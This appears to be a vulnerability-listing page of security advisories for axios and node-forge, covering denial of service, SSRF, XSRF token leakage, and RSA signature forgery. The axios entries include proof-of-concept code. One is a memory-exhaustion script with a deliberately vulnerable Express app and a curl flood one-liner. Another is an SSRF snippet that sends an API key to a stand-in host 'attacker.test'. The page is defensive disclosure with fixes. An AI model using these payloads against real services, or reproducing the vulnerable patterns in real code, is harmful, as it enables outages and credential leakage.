All the vulnerabilities related to the version 2.0.2 of the package
Denial of Service in axios
Versions of axios prior to 0.18.1 are vulnerable to Denial of Service. If a request exceeds the maxContentLength property, the package prints an error but does not stop the request. This may cause high CPU usage and lead to Denial of Service.
Upgrade to 0.18.1 or later.
Axios is vulnerable to DoS attack through lack of data size check
When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.
The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.
Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):
const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];
if (protocol === 'data:') {
let convertedData;
if (method !== 'GET') {
return settle(resolve, reject, { status: 405, ... });
}
convertedData = fromDataURI(config.url, responseType === 'blob', {
Blob: config.env && config.env.Blob
});
return settle(resolve, reject, { data: convertedData, status: 200, ... });
}
The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):
export default function fromDataURI(uri, asBlob, options) {
...
if (protocol === 'data') {
uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
const match = DATA_URL_PATTERN.exec(uri);
...
const body = match[3];
const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
if (asBlob) { return new _Blob([buffer], {type: mime}); }
return buffer;
}
throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.
const axios = require('axios');
async function main() {
// this example decodes ~120 MB
const base64Size = 160_000_000; // 120 MB after decoding
const base64 = 'A'.repeat(base64Size);
const uri = 'data:application/octet-stream;base64,' + base64;
console.log('Generating URI with base64 length:', base64.length);
const response = await axios.get(uri, {
responseType: 'arraybuffer'
});
console.log('Received bytes:', response.data.length);
}
main().catch(err => {
console.error('Error:', err.message);
});
Run with limited heap to force a crash:
node --max-old-space-size=100 poc.js
Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:
<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…
Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.
import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";
const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
timeout: 10000,
maxRedirects: 5,
httpAgent, httpsAgent,
headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
validateStatus: c => c >= 200 && c < 400
});
const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";
app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));
app.get("/healthz", (req,res)=>res.send("ok"));
/**
* POST /preview { "url": "<http|https|data URL>" }
* Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
*/
app.post("/preview", async (req, res) => {
const url = req.body?.url;
if (!url) return res.status(400).json({ error: "missing url" });
let u;
try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }
// Developer allows using data:// in the allowlist
const allowed = new Set(["http:", "https:", "data:"]);
if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });
const controller = new AbortController();
const onClose = () => controller.abort();
res.on("close", onClose);
const before = process.memoryUsage().heapUsed;
try {
const r = await axiosClient.get(u.toString(), {
responseType: "stream",
maxContentLength: 8 * 1024, // Axios will ignore this for data:
maxBodyLength: 8 * 1024, // Axios will ignore this for data:
signal: controller.signal
});
// stream only the first 64KB back
const cap = 64 * 1024;
let sent = 0;
const limiter = new PassThrough();
r.data.on("data", (chunk) => {
if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
else { sent += chunk.length; limiter.write(chunk); }
});
r.data.on("end", () => limiter.end());
r.data.on("error", (e) => limiter.destroy(e));
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
limiter.pipe(res);
} catch (err) {
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
res.status(502).json({ error: String(err?.message || err) });
} finally {
res.off("close", onClose);
}
});
app.listen(PORT, () => {
console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});
Run this app and send 3 post requests:
SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```
Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
Stream decoding
Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.
Axios vulnerable to Server-Side Request Forgery
Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.
axios Inefficient Regular Expression Complexity vulnerability
axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
baseURL and does not validate path parameters is affected by this issue.Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
Improper Verification of Cryptographic Signature in node-forge
RSA PKCS#1 v1.5 signature verification code is not properly checking DigestInfo for a proper ASN.1 structure. This can lead to successful verification with signatures that contain invalid structures but a valid digest.
The issue has been addressed in node-forge 1.3.0.
If you have any questions or comments about this advisory:
Prototype Pollution in node-forge debug API.
The forge.debug API had a potential prototype pollution issue if called with untrusted input. The API was only used for internal debug purposes in a safe way and never documented or advertised. It is suspected that uses of this API, if any exist, would likely not have used untrusted inputs in a vulnerable way.
The forge.debug API and related functions were removed in 1.0.0.
Don't use the forge.debug API directly or indirectly with untrusted input.
If you have any questions or comments about this advisory:
Open Redirect in node-forge
parseUrl functionality in node-forge mishandles certain uses of backslash such as https:/\/\/\ and interprets the URI as a relative path.
Improper Verification of Cryptographic Signature in node-forge
RSA PKCS#1 v1.5 signature verification code is lenient in checking the digest algorithm structure. This can allow a crafted structure that steals padding bytes and uses unchecked portion of the PKCS#1 encoded message to forge a signature when a low public exponent is being used.
The issue has been addressed in node-forge 1.3.0.
For more information, please see "Bleichenbacher's RSA signature forgery based on implementation error" by Hal Finney.
If you have any questions or comments about this advisory:
URL parsing in node-forge could lead to undesired behavior.
The regex used for the forge.util.parseUrl API would not properly parse certain inputs resulting in a parsed data structure that could lead to undesired behavior.
forge.util.parseUrl and other very old related URL APIs were removed in 1.0.0 in favor of letting applications use the more modern WHATWG URL Standard API.
Ensure code does not directly or indirectly call forge.util.parseUrl with untrusted input.
If you have any questions or comments about this advisory:
Improper Verification of Cryptographic Signature in node-forge
RSA PKCS#1 v1.5 signature verification code does not check for tailing garbage bytes after decoding a DigestInfo ASN.1 structure. This can allow padding bytes to be removed and garbage data added to forge a signature when a low public exponent is being used.
The issue has been addressed in node-forge 1.3.0.
For more information, please see "Bleichenbacher's RSA signature forgery based on implementation error" by Hal Finney.
If you have any questions or comments about this advisory: